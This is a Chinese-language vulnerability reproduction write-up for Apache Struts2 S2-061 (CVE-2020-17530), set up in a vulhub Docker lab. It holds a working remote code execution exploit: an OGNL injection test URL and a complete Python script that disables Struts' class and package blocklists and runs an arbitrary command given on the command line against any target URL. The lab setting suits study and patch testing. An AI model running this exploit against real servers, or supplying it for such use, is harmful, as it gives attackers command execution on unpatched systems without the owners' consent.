Struts2-061漏洞复现

搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
拉取镜像启动环境：

docker-compose up -d

成功访问

http://your-ip:8080

复现

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)，在使用某些tag等情况下可能存在OGNL表达式注入漏洞，从而造成远程代码执行，风险极大。

首先验证漏洞是否存在

http://192.168.204.131:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

POC：

# encoding=utf-8
import requests
import sys
from lxml import etree
 
 
def exp(url,cmd):
    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
    tturl=url+"/?id="+payload
    r=requests.get(tturl)
    page=r.text
#   etree=html.etree
    page=etree.HTML(page)
    data = page.xpath('//a[@id]/@id')
    print(data[0])
 
if __name__=='__main__':
    print('+------------------------------------------------------------+')
    print('+ EXP: python struts2-061-poc.py http://1.1.1.1:8081 id      +')
    print('+ VER: Struts 2.0.0-2.5.25                                   +')
    print('+------------------------------------------------------------+')
    print('+ S2-061 RCE && CVE-2020-17530                               +')
    print('+------------------------------------------------------------+')
    if len(sys.argv)!=3:
        print("[+]ussage: http://ip:port command")
        print("[+]============================================================")
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
exp(url,cmd)

成功执行命令
参考：https://blog.csdn.net/xuandao_ahfengren/article/details/111052971